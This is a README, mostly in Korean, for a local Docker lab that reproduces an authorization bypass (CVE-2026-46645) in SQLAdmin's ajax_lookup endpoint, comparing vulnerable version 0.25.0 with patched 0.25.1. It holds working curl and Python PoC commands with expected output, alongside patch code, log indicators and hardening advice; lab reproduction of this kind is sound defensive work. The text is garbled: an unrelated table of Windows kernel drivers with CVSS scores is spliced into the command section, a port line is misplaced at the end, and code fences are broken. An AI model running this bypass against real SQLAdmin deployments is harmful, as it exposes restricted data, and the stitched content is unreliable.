
이 저장소는 SQLAdmin의 ajax_lookup 엔드포인트에 영향을 미치는 인가 우회 취약점인 CVE-2026-46645를 재현하기 위한 로컬 Docker 랩을 포함합니다.
SQLAdmin은 Starlette 및 FastAPI 애플리케이션의 SQLAlchemy 모델을 위한 관리 인터페이스입니다. 취약한 동작은 애플리케이션이 is_accessible(request)로 ModelView를 제한할 때 발생하며, SQLAdmin의 ajax_lookup 라우트는 조회 결과를 반환하기 전에 동일한 접근 제어 결정을 강제하지 않습니다.
이 랩은 두 SQLAdmin 버전을 비교합니다:
| 서비스 | SQLAdmin 버전 | 용도 | URL |
|---|---|---|---|
vuln | 0.25.0 | 취약한 대상 | http://127.0.0.1:8001 |
patched | 0.25.1 | 패치된 비교 대상 | http://127.0.0.1:8002 |
입증된 취약점 체인은 다음과 같습니다:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403
The lab intentionally uses a simple `Report` / `SecretProject` data model to make the authorization bypass easy to understand. These model names are not the root cause of the vulnerability. They are only used to create a controlled reproduction condition.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin's `ajax_lookup` endpoint is the affected component. | Public advisory describes the affected endpoint format as `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Run the PoC and observe requests to `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` is used as the vulnerable comparison target. | The lab installs `sqladmin==0.25.0` in the `vuln` container. | Run `docker compose exec -T vuln python -m pip show sqladmin`. |
| SQLAdmin `0.25.1` is used as the patched comparison target. | Public advisory and release notes identify `0.25.1` as the fixed version. | Run `docker compose exec -T patched python -m pip show sqladmin`. |
| The root cause is in SQLAdmin's upstream `Admin.ajax_lookup()` route. | The patch adds missing authentication and `is_accessible(request)` enforcement to `ajax_lookup()`. | Inspect `Admin.ajax_lookup()` inside both containers with the commands in this README. |
| The lab creates a restricted `ModelView`. | `ReportAdmin.is_accessible(request)` intentionally returns `False`. | Inspect `app/main.py`. |
| The PoC uses an authenticated session. | The PoC first logs in to `/admin/login`, keeps the session cookie, then requests `ajax_lookup`. | Run `python3 poc/poc.py --base-url http://127.0.0.1:8001`. |
| The vulnerable signal is data exposure. | SQLAdmin `0.25.0` returns HTTP 200 and JSON lookup results from a restricted view. | The vulnerable target should return `Secret Project Alpha` and `Secret Project Beta`. |
| The patched signal is access denial. | SQLAdmin `0.25.1` returns HTTP 403 for the same authenticated request. | The patched target should return `403 Forbidden`. |
## Assumptions and Unknowns
This lab uses `sqladmin==0.25.0` as the vulnerable baseline and `sqladmin==0.25.1` as the patched baseline.
The lab focuses on the authorization bypass condition where:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
이 랩은 가능한 모든 SQLAdmin 배포 패턴을 재현하려고 시도하지 않습니다. 취약한 버전과 패치된 버전 간의 동작 차이를 쉽게 확인할 수 있도록 제한된 관리자 뷰 하나를 가진 작은 Starlette 애플리케이션을 의도적으로 생성합니다.
Report 및 SecretProject 모델은 랩 전용 객체입니다. 이들은 SQLAdmin 자체의 일부가 아닙니다.
PoC는 권한 상승, 데이터 수정, 세션 탈취, 외부 콜백, 지속성, 또는 랩 외부 시스템에 대한 공격을 시도하지 않습니다.
근본 원인은 이 랩의 애플리케이션 코드가 아닌 SQLAdmin의 업스트림 Admin.ajax_lookup() 라우트에 있습니다.
SQLAdmin은 개발자가 다음을 재정의하여 관리자 뷰에 대한 접근을 제한할 수 있게 합니다:```python ModelView.is_accessible(request)
Other admin routes are expected to enforce this access-control decision before allowing the request to continue. For example, routes such as list, create, details, delete, edit, and export check whether the current request is allowed to access the target `ModelView`.
The vulnerable `ajax_lookup` route did not enforce the same access-control decision.
The `ajax_lookup` endpoint is used by SQLAdmin's `form_ajax_refs` feature to dynamically load relationship values. Its endpoint format is:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
취약한 버전에서 ajax_lookup()은 대상 ModelView를 확인하고, 쿼리 문자열에서 lookup 필드 이름과 검색어를 읽은 다음 AJAX 로더를 호출하고 JSON 결과를 반환합니다. 누락된 보안 단계는 현재 요청이 해당 ModelView에 접근할 수 있는지 먼저 검증하지 않는다는 것입니다.
보안 영향은 인증된 사용자가 일반 UI 경로를 통해서는 제한된 관리자 뷰에 접근하지 못할 수 있지만, 해당 뷰의 AJAX lookup 엔드포인트를 직접 요청하여 관계 lookup 데이터를 받을 수 있다는 것입니다.
SQLAdmin 0.25.1은 ajax_lookup() 내부에서 접근 제어를 강제하여 이 문제를 수정합니다. 패치된 라우트는 model_view.is_accessible(request)를 확인하고 대상 뷰에 접근할 수 없으면 HTTP 403을 반환합니다.
이 랩은 취약한 조건을 재현하기 위해 ReportAdmin.is_accessible(request)가 False를 반환하도록 정의합니다. 랩 코드는 근본 원인이 아닙니다. 이는 SQLAdmin의 업스트림 ajax_lookup() 라우트가 접근 제어 결정을 존중하는지 여부를 증명하기 위한 통제된 테스트 하네스입니다.
예상되는 동작 차이:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden
## 소스 패치 요약
의미 있는 업스트림 패치는 `Admin.ajax_lookup()`에 인증 및 권한 부여 강제 적용을 추가한 것입니다.
패치된 동작은 다음의 경우와 동일합니다:```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
핵심 권한 부여 확인은 다음과 같습니다:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
이 랩은 취약한 버전에는 이 검사가 없고 패치된 버전에는 있음을 보여줍니다.
## 랩 아키텍처
이 랩은 Docker Compose를 통해 두 개의 격리된 Starlette 애플리케이션을 실행합니다.```text
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
두 서비스는 동일한 애플리케이션 코드를 실행하지만 서로 다른 SQLAdmin 버전을 설치합니다:
| 서비스 | 패키지 버전 | 포트 매핑 |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 |
애플리케이션은 두 개의 SQLAlchemy 모델을 생성합니다:```text SecretProject Report
`Report`은 `SecretProject`와 관계를 가집니다:```text
Report.project -> SecretProject
ReportAdmin은 AJAX 관계 조회를 정의합니다:```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
제한된 관리자 보기는 다음과 같습니다:```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
이것은 의도적으로 SQLAdmin의 ajax_lookup() 라우트가 is_accessible()을 적용하는지 테스트하는 데 필요한 조건을 생성합니다.
PoC에서 사용되는 취약한 엔드포인트는 다음과 같습니다:```text /admin/report/ajax/lookup?name=project&term=Secret
기본 랩 자격 증명:```text
username: analyst
password: lab-password
requests 패키지curl필요한 경우 호스트에 PoC 종속성을 설치하세요:```bash python3 -m pip install requests
## 빠른 시작
랩을 빌드하고 시작하세요:```bash
docker compose down --remove-orphans
docker compose up --build -d
컨테이너 상태 확인:```bash docker compose ps
노출될 것으로 예상되는 서비스:```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
헬스 엔드포인트 확인:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health
둘 다 반환해야 합니다:```json
{"status":"ok"}
원하는 경우 브라우저에서 관리자 UI를 엽니다:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin
로그인 자격 증명:```text
analyst / lab-password
취약한 서비스에 대해 PoC를 실행합니다:```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
패치된 서비스에 동일한 PoC를 실행하세요:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
The PoC는 다음 단계를 수행합니다:```text
PoC는 인증 우회가 독자에게 보이도록 의도적으로 요청 및 응답 흐름을 출력합니다.
## curl을 사용한 수동 HTTP 재현
`poc/poc.py`를 사용하지 않고도 취약점을 수동으로 재현할 수 있습니다.
정확한 HTTP 흐름을 보여주고 싶을 때 유용합니다:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
취약 대상 URL을 설정하세요:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
실습 사용자로 로그인하고 세션 쿠키를 저장하세요:```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
제한된 ajax_lookup 요청을 보내세요:```bash
curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
예상되는 취약 결과:```http
HTTP/1.1 200 OK
content-type: application/json
예상 본문:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
이는 요청이 인증되었음에도 `ReportAdmin.is_accessible(request)`가 `False`를 반환하지만 SQLAdmin `0.25.0`이 여전히 조회 데이터를 반환하므로 취약한 동작을 확인합니다.
### 패치된 대상
패치된 대상 URL을 설정하세요:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
같은 랩 사용자로 로그인:```bash
curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"
동일한 제한된 `ajax_lookup` 요청을 보내십시오:```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
예상 패치 결과:```http HTTP/1.1 403 Forbidden
이는 SQLAdmin `0.25.1`이 `ajax_lookup()` 내부에서 누락된 `ModelView.is_accessible(request)` 검사를 적용하기 때문에 패치된 동작을 확인해 줍니다.
### 한 줄 비교
취약한 서비스:```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
패치된 서비스:```bash
curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
예상 비교:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'
Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=
Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}
Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
Response: HTTP status : 200 Content-Type : application/json
Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.
패치된 대상:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
PoC는 Python requests 라이브러리와 지속적인 requests.Session() 객체를 사용합니다.
먼저, SQLAdmin에 인증합니다:```text POST /admin/login
랩 자격 증명을 사용하여:```text
analyst / lab-password
로그인 후, 세션 객체는 반환된 세션 쿠키를 유지합니다.
그런 다음 PoC는 제한된 AJAX 조회 요청을 전송합니다:```text GET /admin/report/ajax/lookup?name=project&term=Secret
실습 애플리케이션에서 이 요청은 `ReportAdmin`을 대상으로 합니다.
`ReportAdmin`은 의도적으로 접근할 수 없습니다:```python
def is_accessible(self, request):
return False
이것은 실습 조건입니다. 업스트림 취약점이 아닙니다.
테스트 중인 보안 질문은 다음과 같습니다:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
SQLAdmin `0.25.0`에서 엔드포인트는 HTTP 200과 JSON 조회 결과를 반환합니다. 이는 취약한 동작을 확인해 줍니다.
SQLAdmin `0.25.1`에서 엔드포인트는 HTTP 403을 반환합니다. 이는 패치된 동작을 확인해 줍니다.
## 유용한 검증 명령어
실행 중인 컨테이너 확인:```bash
docker compose ps
서비스 로그 확인:```bash docker compose logs vuln patched
설치된 SQLAdmin 버전을 확인하세요:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
예상 버전:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1
PoC를 다시 실행하세요:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
|--------------------|------------|---------|
| 드라이버 | CVSS 점수 | 유형 |
|--------------------|------------|---------|
| vmxnet3.sys | 9.8 | 커널 |
| webapp.sys | 6.7 | 커널 |
| lumacore.sys | 4.1 | 커널 |
| ... | ... | ... |
|--------------------|------------|---------|
``````bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
증거 출력 저장:```bash mkdir -p evidence
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt docker compose logs vuln patched > evidence/docker-compose-logs.txt
설치된 취약한 소스를 검사합니다:```bash
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
설치된 패치된 소스를 검사하십시오:```bash docker compose exec -T patched python - <<'PY' import inspect import sqladmin.application
print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY
취약한 버전은 `ajax_lookup()` 내부에서 `model_view.is_accessible(request)`를 강제하지 않아야 합니다.
패치된 버전에는 다음과 동등한 인가 검사가 포함되어야 합니다:```python
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
SQLAdmin을 사용하는 실제 애플리케이션에서 의심스러운 활동은 AJAX 조회 엔드포인트에 대한 직접 요청으로 나타날 수 있습니다:```text /admin//ajax/lookup?name=&term=
이 실습에 유용한 로그 지표는 다음과 같습니다:```text
GET /admin/report/ajax/lookup?name=project&term=Secret
예상 취약 로그 패턴:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
예상되는 패치된 로그 패턴:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
잠재적인 프로덕션 모니터링 아이디어:
/ajax/lookup 엔드포인트에 대한 직접 접근을 검토하고,ModelView 클래스가 form_ajax_refs를 사용하는지 검토하며,SQLAdmin을 0.25.1 이상으로 업그레이드하세요.
이 패치는 ajax_lookup 라우트에 누락된 접근 제어 적용을 추가합니다. 패치된 엔드포인트는 현재 요청이 대상 ModelView에 접근할 수 있는지 확인합니다. is_accessible(request)가 False를 반환하면 요청은 HTTP 403으로 차단됩니다.
애플리케이션 수준 강화 권장 사항:
ModelView.is_accessible() 구현 검토,form_ajax_refs를 통한 민감한 관계형 lookup 노출 방지,/admin/*/ajax/lookup 엔드포인트에 대한 접근 모니터링,컨테이너와 네트워크를 중지하고 제거합니다.```bash docker compose down --remove-orphans
컨테이너, 네트워크 및 익명 볼륨 제거:```bash
docker compose down -v --remove-orphans
원하는 경우 로컬에서 빌드한 이미지를 제거하십시오:```bash
docker image rm
cve-2026-46645-sqladmin-vuln:0.25.0
cve-2026-46645-sqladmin-patched:0.25.1
2>/dev/null || true
원하는 경우 증거 파일을 제거하십시오:```bash
rm -rf evidence/
이 랩은 로컬 보안 연구 및 통제된 시연 전용입니다.
소유하지 않았거나 테스트 권한이 없는 시스템에 대해 PoC를 실행하지 마십시오.
이 랩에서 실제 자격 증명, 프로덕션 비밀 정보 또는 외부 대상을 사용하지 마십시오.
PoC는 의도적으로 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text http://127.0.0.1:8001 http://127.0.0.1:8002
PoC에는 자격 증명 탈취, 데이터 변조, 지속성, 측면 이동 또는 외부 콜백을 위한 페이로드는 포함되어 있지 않습니다.
목표는 통제된 환경에서 하나의 특정 권한 부여 우회 조건을 입증하는 것입니다.```text
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403
GitHub Advisory Database: ajax_lookup에서의 SQLAdmin 인가 우회
https://github.com/advisories/GHSA-54mc-gghv-4cfj
OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
SQLAdmin 0.25.1 릴리스
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
SQLAdmin 비교: 0.25.0 ~ 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
SQLAdmin 인증 테스트
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
SQLAdmin AJAX 테스트
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
PyPI: sqladmin
https://pypi.org/project/sqladmin/
SQLAdmin GitHub 저장소
https://github.com/smithyhq/sqladmin
127.0.0.1:8002 -> 8000